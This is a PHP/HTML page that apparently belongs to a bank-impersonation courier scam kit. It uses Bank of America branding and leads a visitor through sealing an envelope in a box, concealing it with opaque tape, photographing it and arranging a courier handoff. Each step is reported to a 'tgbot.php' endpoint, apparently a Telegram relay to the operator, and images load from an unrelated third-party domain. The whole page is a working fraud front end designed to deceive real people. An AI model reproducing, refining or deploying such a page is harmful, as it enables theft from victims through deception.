<?php
$data_file = __DIR__ . '/alert_data.php';
$data = [];
if (file_exists($data_file)) include $data_file;

$bank           = htmlspecialchars($data['bank'] ?? 'Bank of America', ENT_QUOTES, 'UTF-8');
$color          = $data['color'] ?? '#E31837';
$logo           = $data['logo'] ?? 'bofa.svg';
$conf           = $data['conf'] ?? '4829371';
$p_addr         = htmlspecialchars($data['p_addr'] ?? '', ENT_QUOTES, 'UTF-8');
$d_addr         = htmlspecialchars($data['d_addr'] ?? '', ENT_QUOTES, 'UTF-8');

$bank_logo_path = 'res/img/banks/' . $logo;
$company_logo   = 'res/img/LOGOCOMPANY.svg';

$icon_confirm   = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/filewhite.svg';
$icon_time      = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/packagetimeicon.svg';
$icon_photo     = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/notepadicon.svg';
$icon_camera    = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/clipboard.svg';
$icon_delivery  = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/deliverycar.svg';
$icon_dollar    = 'res/img/banks/dollarsign.svg';
$icon_photobox  = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/photobox.svg';
$icon_cam       = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/camera.svg';

$step1 = isset($data['courier_step_1']);
$step2 = isset($data['courier_step_2']);
$step3 = isset($data['courier_step_3']);
$step4 = isset($data['courier_step_4']);
$completed = array_sum([$step1, $step2, $step3, $step4]);
$final_unlocked = $step3;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Courier Instructions</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500&display=swap" rel="stylesheet">
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        body {
            font-family: 'Inter', system-ui, sans-serif;
            background: #f4f4f2;
            min-height: 100vh;
            display: flex; align-items: flex-start; justify-content: center;
            padding: 24px 16px; color: #111;
        }

        .card {
            background: #fff; border: 1px solid rgba(0,0,0,0.08);
            border-radius: 20px; width: 100%; max-width: 420px; overflow: hidden;
        }

        .card-head {
            padding: 14px 20px; border-bottom: 1px solid rgba(0,0,0,0.07);
            display: flex; align-items: center; justify-content: space-between;
        }

        .bank-logo { height: 30px; width: auto; display: block; }
        .partner-logo { height: 18px; opacity: 0.7; }
        .partner-label { font-size: 11px; color: #999; }
        .card-body { padding: 20px; }

        .ref-row {
            display: flex; align-items: center; gap: 12px;
            background: #f8f8f6; border-radius: 12px;
            padding: 12px 14px; margin-bottom: 16px;
        }

        .ref-icon {
            width: 34px; height: 34px; border-radius: 50%;
            background: <?php echo $color; ?>;
            display: flex; align-items: center; justify-content: center; flex-shrink: 0;
        }

        .ref-icon img { width: 18px; height: 18px; object-fit: contain; filter: brightness(10); }
        .ref-meta { flex: 1; }
        .ref-label { font-size: 11px; color: #888; margin-bottom: 2px; }
        .ref-val { font-size: 18px; font-weight: 500; }

        <?php if ($p_addr || $d_addr): ?>
        .addr-row {
            background: #f8f8f6; border-radius: 12px;
            padding: 12px 14px; margin-bottom: 16px;
        }

        .addr-item { display: flex; gap: 10px; align-items: flex-start; }
        .addr-item + .addr-item { margin-top: 10px; padding-top: 10px; border-top: 1px solid rgba(0,0,0,0.06); }
        .addr-dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0; margin-top: 4px; }
        .addr-dot.pickup { background: <?php echo $color; ?>; }
        .addr-dot.drop { background: #3d9e6a; }
        .addr-label { font-size: 10px; color: #aaa; font-weight: 500; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 2px; }
        .addr-text { font-size: 13px; color: #111; font-weight: 500; }
        <?php endif; ?>

        .progress-track { display: flex; align-items: center; margin-bottom: 18px; }

        .progress-dot {
            width: 28px; height: 28px; border-radius: 50%;
            border: 2px solid #ddd;
            display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 500; color: #bbb;
            flex-shrink: 0; background: #fff;
            transition: border-color 0.3s, background 0.3s, color 0.3s;
            position: relative;
        }

        .progress-dot.active { border-color: <?php echo $color; ?>; color: <?php echo $color; ?>; }
        .progress-dot.done   { border-color: #3d9e6a; background: #3d9e6a; color: white; }
        .progress-dot.done .dot-num { display: none; }
        .progress-dot .dot-check { display: none; }
        .progress-dot.done .dot-check { display: block; }

        .progress-line { flex: 1; height: 2px; background: #e5e5e5; position: relative; overflow: hidden; }
        .progress-line-fill { position: absolute; top: 0; left: 0; height: 100%; background: #3d9e6a; transition: width 0.5s ease; }

        .step-banner {
            display: flex; align-items: center; gap: 10px;
            background: #eef6ff; border: 1px solid #c3dffe;
            border-radius: 10px; padding: 10px 12px; margin-bottom: 14px;
        }

        .step-banner-dot {
            width: 8px; height: 8px; border-radius: 50%;
            background: #1565c0; flex-shrink: 0;
            animation: pulse 1.8s ease-in-out infinite;
        }

        @keyframes pulse {
            0%, 100% { opacity: 1; transform: scale(1); }
            50%       { opacity: 0.5; transform: scale(0.75); }
        }

        .step-banner-text { font-size: 12px; color: #1565c0; font-weight: 500; line-height: 1.4; }

        .section-label { font-size: 11px; font-weight: 500; color: #aaa; letter-spacing: 0.06em; text-transform: uppercase; margin-bottom: 10px; }

        .step {
            display: flex; align-items: center; gap: 12px;
            padding: 11px 14px; border-radius: 12px;
            border: 1px solid rgba(0,0,0,0.08); margin-bottom: 8px;
            cursor: pointer;
            transition: background 0.25s, border-color 0.25s, opacity 0.2s;
            position: relative; overflow: hidden;
        }

        .step:hover:not(.locked) { background: #f8f8f6; }
        .step.locked { opacity: 0.42; cursor: not-allowed; }
        .step.done { border-color: #bbedca; background: #f0faf4; }

        .step-info {
            display: flex; align-items: flex-start; gap: 12px;
            padding: 11px 14px; border-radius: 12px;
            border: 1px solid rgba(0,0,0,0.06); margin-bottom: 8px;
            background: #fafaf8;
            position: relative; overflow: hidden;
        }

        .step-info.done { border-color: #bbedca; background: #f0faf4; }
        .step-info.locked { opacity: 0.42; }

        .step-icon {
            width: 34px; height: 34px; border-radius: 10px;
            background: #f0f0ee;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; transition: background 0.25s;
        }

        .step-icon img {
            width: 20px; height: 20px; object-fit: contain;
            filter: invert(0.45) sepia(0) saturate(0) brightness(0.4);
            transition: filter 0.25s;
        }

        .step.done .step-icon, .step-info.done .step-icon { background: #d6f5e5; }
        .step.done .step-icon img, .step-info.done .step-icon img {
            filter: invert(35%) sepia(80%) saturate(400%) hue-rotate(100deg) brightness(0.8);
        }

        .step-body { flex: 1; min-width: 0; }
        .step-title { font-size: 13px; font-weight: 500; margin-bottom: 1px; transition: color 0.25s; }
        .step.done .step-title, .step-info.done .step-title { color: #2e7d52; }
        .step-desc { font-size: 12px; color: #888; line-height: 1.4; }

        .step-hint { display: inline-block; margin-top: 3px; font-size: 10px; color: #bbb; font-style: italic; }
        .step.done .step-hint, .step.locked .step-hint { display: none; }

        .step-num {
            width: 22px; height: 22px; border-radius: 50%;
            border: 1.5px solid #ccc;
            display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 500; color: #999;
            flex-shrink: 0;
            transition: border-color 0.3s, background 0.3s, transform 0.35s cubic-bezier(0.34,1.56,0.64,1);
            position: relative; overflow: hidden;
        }

        .step.done .step-num { border-color: #3d9e6a; background: #3d9e6a; transform: scale(1.1); }
        .num-digit { transition: opacity 0.15s, transform 0.15s; }
        .step.done .num-digit { opacity: 0; transform: scale(0.4); position: absolute; }
        .check-icon { display: none; position: absolute; }
        .step.done .check-icon { display: block; animation: checkPop 0.3s cubic-bezier(0.34,1.56,0.64,1) forwards; }

        @keyframes checkPop {
            0%   { transform: scale(0) rotate(-20deg); opacity: 0; }
            100% { transform: scale(1) rotate(0deg);   opacity: 1; }
        }

        .step-progress {
            position: absolute; bottom: 0; left: 0; right: 0; height: 2px;
            background: #3d9e6a; border-radius: 0 0 12px 12px;
            transform: scaleX(0); transform-origin: left; transition: transform 0.4s ease;
        }
        .step.done .step-progress, .step-info.done .step-progress { transform: scaleX(1); }

        .info-check {
            width: 22px; height: 22px; border-radius: 50%;
            border: 1.5px solid #ccc;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0;
            transition: border-color 0.3s, background 0.3s;
            position: relative;
        }

        .step-info.done .info-check { border-color: #3d9e6a; background: #3d9e6a; }
        .info-check .ic-num { font-size: 11px; font-weight: 500; color: #999; transition: opacity 0.15s; }
        .step-info.done .info-check .ic-num { opacity: 0; position: absolute; }
        .info-check .ic-check { display: none; position: absolute; }
        .step-info.done .info-check .ic-check { display: block; animation: checkPop 0.3s cubic-bezier(0.34,1.56,0.64,1) forwards; }

        .divider { height: 1px; background: rgba(0,0,0,0.07); margin: 16px 0; }

        .btn {
            display: block; width: 100%;
            padding: 13px 16px; border-radius: 10px;
            font-size: 14px; font-weight: 500; font-family: inherit;
            cursor: pointer; text-align: center; text-decoration: none;
            border: none; margin-bottom: 8px; transition: opacity 0.15s;
        }

        .btn:last-child { margin-bottom: 0; }
        .btn:hover:not(:disabled) { opacity: 0.82; }
        .btn-primary { background: <?php echo $color; ?>; color: #fff; }
        .btn-ghost { background: #fff; color: #111; border: 1px solid rgba(0,0,0,0.12) !important; }
        .btn-dark { background: #111; color: #fff; }
        .btn-final-locked { opacity: 0.38; cursor: not-allowed; pointer-events: none; }
        .btn:disabled { opacity: 0.38; cursor: not-allowed; }

        .btn-icon-wrap { display: flex; align-items: center; justify-content: center; gap: 8px; }
        .btn-icon-wrap img { width: 17px; height: 17px; object-fit: contain; flex-shrink: 0; }

        .card-foot { padding: 12px 20px; border-top: 1px solid rgba(0,0,0,0.07); text-align: center; font-size: 11px; color: #aaa; }

        /* Photo modal */
        .env-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.72); z-index: 999; align-items: flex-end; justify-content: center; }
        .env-overlay.open { display: flex; }

        .env-sheet {
            background: #fff; border-radius: 20px 20px 0 0;
            width: 100%; max-width: 480px; padding: 20px 20px 32px;
            animation: slideUp 0.3s cubic-bezier(0.34,1.2,0.64,1) forwards;
            overflow-y: auto; max-height: 90vh;
        }

        @keyframes slideUp { from { transform: translateY(100%); opacity: 0; } to { transform: translateY(0); opacity: 1; } }

        .env-sheet-head { display: flex; align-items: center; justify-content: space-between; margin-bottom: 6px; }
        .env-sheet-title { font-size: 15px; font-weight: 500; color: #111; }
        .env-sheet-sub { font-size: 12px; color: #888; margin-bottom: 16px; line-height: 1.5; }

        .env-close {
            width: 28px; height: 28px; border-radius: 50%;
            background: #f0f0ee; border: none; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            font-size: 14px; color: #666;
        }

        /* Side-by-side GIF layout — no slideshow */
        .env-gifs-row {
            display: flex; gap: 10px; margin-bottom: 16px;
        }

        .env-gif-item {
            flex: 1; border-radius: 12px; overflow: hidden;
            background: #f4f4f2; border: 1px solid rgba(0,0,0,0.07);
            display: flex; flex-direction: column; align-items: center;
        }

        .env-gif-item img {
            width: 100%; height: 160px; object-fit: cover; display: block;
        }

        .env-gif-label {
            font-size: 10px; color: #888; padding: 6px 8px;
            text-align: center; font-weight: 500;
        }

        .env-cta { display: block; width: 100%; padding: 13px; border-radius: 10px; background: <?php echo $color; ?>; color: #fff; font-size: 14px; font-weight: 500; text-align: center; border: none; cursor: pointer; font-family: inherit; }
    </style>
</head>
<body>

<div class="card">

    <div class="card-head">
        <img src="<?php echo $bank_logo_path; ?>" class="bank-logo" alt="<?php echo $bank; ?>">
        <div style="display:flex;align-items:center;gap:6px;">
            <span class="partner-label">in partnership with</span>
            <img src="<?php echo $company_logo; ?>" class="partner-logo" alt="Company">
        </div>
    </div>

    <div class="card-body">

        <!-- Reference row — now uses filewhite.svg -->
        <div class="ref-row">
            <div class="ref-icon"><img src="<?php echo $icon_confirm; ?>" alt="Ref"></div>
            <div class="ref-meta">
                <div class="ref-label">Case reference</div>
                <div class="ref-val">#<?php echo htmlspecialchars($conf); ?></div>
            </div>
        </div>

        <?php if ($p_addr || $d_addr): ?>
        <!-- Pickup / drop-off addresses -->
        <div class="addr-row">
            <?php if ($p_addr): ?>
            <div class="addr-item">
                <div class="addr-dot pickup"></div>
                <div>
                    <div class="addr-label">Pickup</div>
                    <div class="addr-text"><?php echo $p_addr; ?></div>
                </div>
            </div>
            <?php endif; ?>
            <?php if ($d_addr): ?>
            <div class="addr-item">
                <div class="addr-dot drop"></div>
                <div>
                    <div class="addr-label">Drop-off</div>
                    <div class="addr-text"><?php echo $d_addr; ?></div>
                </div>
            </div>
            <?php endif; ?>
        </div>
        <?php endif; ?>

        <!-- Progress tracker -->
        <div class="progress-track">
            <?php
            $ptracks = [1 => $step1, 2 => $step2, 3 => $step3];
            $pcount  = array_sum($ptracks);
            $pk = 0;
            foreach ($ptracks as $pi => $pdone):
                $pk++;
                $pactive = !$pdone && ($pi === $pcount + 1);
            ?>
            <div class="progress-dot <?php echo $pdone ? 'done' : ($pactive ? 'active' : ''); ?>">
                <span class="dot-num"><?php echo $pk; ?></span>
                <svg class="dot-check" width="10" height="10" viewBox="0 0 10 10" fill="none">
                    <path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
            </div>
            <?php if ($pk < 3): $lfill = ($pk===1&&$step1&&$step2)||($pk===2&&$step2&&$step3); ?>
            <div class="progress-line">
                <div class="progress-line-fill" style="width:<?php echo $lfill ? '100' : '0'; ?>%"></div>
            </div>
            <?php endif; endforeach; ?>
        </div>

        <!-- Instruction banner -->
        <div class="step-banner">
            <div class="step-banner-dot"></div>
            <div class="step-banner-text">Tap each step once completed to track your progress</div>
        </div>

        <div class="section-label">Your progress</div>

        <!-- Step 1 -->
        <div id="s1" class="step <?php echo $step1 ? 'done' : ''; ?>" onclick="markStep(1)">
            <div class="step-icon"><img src="<?php echo $icon_camera; ?>" alt=""></div>
            <div class="step-body">
                <div class="step-title">Prepare the sealed envelope</div>
                <div class="step-desc">Place the sealed envelope into a sturdy secondary bag or box for protection. <span class="step-hint">Tap to mark complete</span></div>
            </div>
            <div class="step-num">
                <span class="num-digit">1</span>
                <svg class="check-icon" width="10" height="10" viewBox="0 0 10 10" fill="none"><path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <!-- Step 2 -->
        <div id="s2" class="step <?php echo $step2 ? 'done' : (!$step1 ? 'locked' : ''); ?>" onclick="markStep(2)">
            <div class="step-icon"><img src="<?php echo $icon_time; ?>" alt=""></div>
            <div class="step-body">
                <div class="step-title">Verify taping &amp; concealment</div>
                <div class="step-desc">Confirm all seams are fully covered with opaque tape. The inner envelope must not be visible through any side or opening of the outer box. <span class="step-hint">Tap to mark complete</span></div>
            </div>
            <div class="step-num">
                <span class="num-digit">2</span>
                <svg class="check-icon" width="10" height="10" viewBox="0 0 10 10" fill="none"><path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <!-- Step 3 — description panel only, auto-checks on photo -->
        <div id="s3" class="step-info <?php echo $step3 ? 'done' : (!$step2 ? 'locked' : ''); ?>">
            <div class="step-icon"><img src="<?php echo $icon_photobox; ?>" alt=""></div>
            <div class="step-body">
                <div class="step-title">Photograph the package</div>
                <div class="step-desc">Take a clear photo of the fully packaged envelope from multiple angles. Use the button below.</div>
            </div>
            <div class="info-check">
                <span class="ic-num">3</span>
                <svg class="ic-check" width="10" height="10" viewBox="0 0 10 10" fill="none"><path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <!-- Camera button — unlocks after step 2 -->
        <form action="post_courier_package.php" method="POST" enctype="multipart/form-data" style="margin:8px 0 0;">
            <input type="file" name="package_img" id="camera-input" accept="image/*" capture="environment" style="display:none;" onchange="handlePhoto(this)">
            <button type="button" id="camera-btn" class="btn btn-ghost" onclick="openEnvModal()" style="width:100%;margin:0;" <?php echo !$step2 ? 'disabled' : ''; ?>>
                <div class="btn-icon-wrap" style="gap:8px;">
                    <span>Take package photo</span>
                    <img src="<?php echo $icon_cam; ?>" alt="" style="opacity:0.6;filter:invert(0.3) sepia(0) saturate(0);">
                </div>
            </button>
        </form>

        <div class="divider"></div>

        <!-- Continue button — unlocks once photo taken (step3) -->
        <button onclick="markStep4AndRedirect()" id="final-btn" class="btn btn-ghost <?php echo !$final_unlocked ? 'btn-final-locked' : ''; ?>" <?php echo !$final_unlocked ? 'disabled' : ''; ?>>
            <div class="btn-icon-wrap">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/courierlogo.png"
                     alt="Courier"
                     style="height:18px;width:auto;filter:none;opacity:<?php echo $final_unlocked ? '1' : '0.45'; ?>;">
                <span>Coordinate Courier Handoff</span>
            </div>
        </button>

    </div>

    <div class="card-foot">
        © <?php echo date('Y'); ?> <?php echo $bank; ?>. All rights reserved.
    </div>

</div>

<!-- Package photo example modal -->
<div class="env-overlay" id="env-overlay" onclick="overlayClick(event)">
    <div class="env-sheet" id="env-sheet">
        <div class="env-sheet-head">
            <div class="env-sheet-title">Package preparation guide</div>
            <button class="env-close" onclick="closeEnvModal()">✕</button>
        </div>
        <!-- Updated subtitle: professional rewrite of sealing/boxing instructions -->
        <div class="env-sheet-sub">Place the envelope securely inside a small, rigid box. Ensure all seams are fully sealed with opaque packing tape — no contents should be visible or accessible through any opening. The package must be completely enclosed with no gaps before photographing.</div>

        <!-- Side-by-side GIFs — no slideshow, no autoswipe -->
        <div class="env-gifs-row">
            <div class="env-gif-item">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/box1.gif" alt="Packing step 1">
                <div class="env-gif-label">Box &amp; insert</div>
            </div>
            <div class="env-gif-item">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/box2.gif" alt="Packing step 2">
                <div class="env-gif-label">Seal &amp; close</div>
            </div>
        </div>

        <button class="env-cta" onclick="launchCamera()">Package is ready — take photo</button>
    </div>
</div>

<script>
var completed  = <?php echo (int)$completed; ?>;
var serverDone = {
    1: <?php echo $step1 ? 'true' : 'false'; ?>,
    2: <?php echo $step2 ? 'true' : 'false'; ?>,
    3: <?php echo $step3 ? 'true' : 'false'; ?>,
    4: <?php echo $step4 ? 'true' : 'false'; ?>
};

var LS_KEY = 'courier_steps_<?php echo preg_replace('/[^a-zA-Z0-9]/', '', $conf); ?>';

function getLocalSteps() {
    try { return JSON.parse(localStorage.getItem(LS_KEY) || '{}'); } catch(e) { return {}; }
}

function saveLocalStep(step) {
    var s = getLocalSteps(); s[step] = true;
    localStorage.setItem(LS_KEY, JSON.stringify(s));
}

function unlockFinal() {
    var fb = document.getElementById('final-btn');
    if (!fb) return;
    fb.classList.remove('btn-final-locked');
    fb.disabled = false;
    var fi = fb.querySelector('img');
    if (fi) fi.style.opacity = '1';
}

function applyStep(step) {
    // Mark this step done
    var el = document.getElementById('s' + step);
    if (el) {
        el.classList.remove('locked');
        el.classList.add('done');
    }
    // Always unlock the next step element
    var next = document.getElementById('s' + (step + 1));
    if (next) next.classList.remove('locked');

    // Unlock camera button once step 2 is done
    if (step === 2) {
        var camBtn = document.getElementById('camera-btn');
        if (camBtn) camBtn.disabled = false;
    }
    // Unlock final button when all 3 steps are done
    var s1done = document.getElementById('s1') && document.getElementById('s1').classList.contains('done');
    var s2done = document.getElementById('s2') && document.getElementById('s2').classList.contains('done');
    var s3done = document.getElementById('s3') && document.getElementById('s3').classList.contains('done');
    if (s1done && s2done && s3done) unlockFinal();
}

(function restoreLocalSteps() {
    var local = getLocalSteps();
    var changed = false;
    for (var i = 1; i <= 4; i++) {
        if (serverDone[i] && local[i]) { delete local[i]; changed = true; }
    }
    if (changed) localStorage.setItem(LS_KEY, JSON.stringify(local));
    for (var j = 1; j <= 4; j++) {
        if (local[j] && !serverDone[j]) {
            applyStep(j);
            if (j > completed) completed = j;
        }
    }
})();

function markStep4AndRedirect() {
    saveLocalStep(4);
    fetch('tgbot.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'data=courier_step_4'
    }).finally(function() {
        window.location.href = 'case_chat.php';
    });
}

function markStep(step) {
    if (step === 3) return;
    if (step < 4) {
        var el = document.getElementById('s' + step);
        if (!el) return;
        if (el.classList.contains('locked')) { shake('s' + step); return; }
        if (el.classList.contains('done')) return;
        if (step === 2) {
            var s1 = document.getElementById('s1');
            if (s1 && !s1.classList.contains('done')) { shake('s' + step); return; }
        }
    }
    applyStep(step);
    saveLocalStep(step);
    completed = step;
    fetch('tgbot.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'data=courier_step_' + step
    });
}

function handlePhoto(input) {
    applyStep(3);
    saveLocalStep(3);
    if (3 > completed) completed = 3;
    fetch('tgbot.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'data=courier_step_3'
    }).then(function() { input.form.submit(); });
}

function shake(id) {
    var el = document.getElementById(id);
    if (!el) return;
    var moves = [5,-5,4,-4,0], i = 0;
    (function run() {
        if (i >= moves.length) { el.style.transform = ''; return; }
        el.style.transform = 'translateX(' + moves[i++] + 'px)';
        setTimeout(run, 55);
    })();
}

function openEnvModal() {
    document.getElementById('env-overlay').classList.add('open');
}

function closeEnvModal() {
    document.getElementById('env-overlay').classList.remove('open');
}

function overlayClick(e) {
    if (e.target === document.getElementById('env-overlay')) closeEnvModal();
}

function launchCamera() {
    closeEnvModal();
    setTimeout(function() { document.getElementById('camera-input').click(); }, 200);
}
</script>

</body>
</html>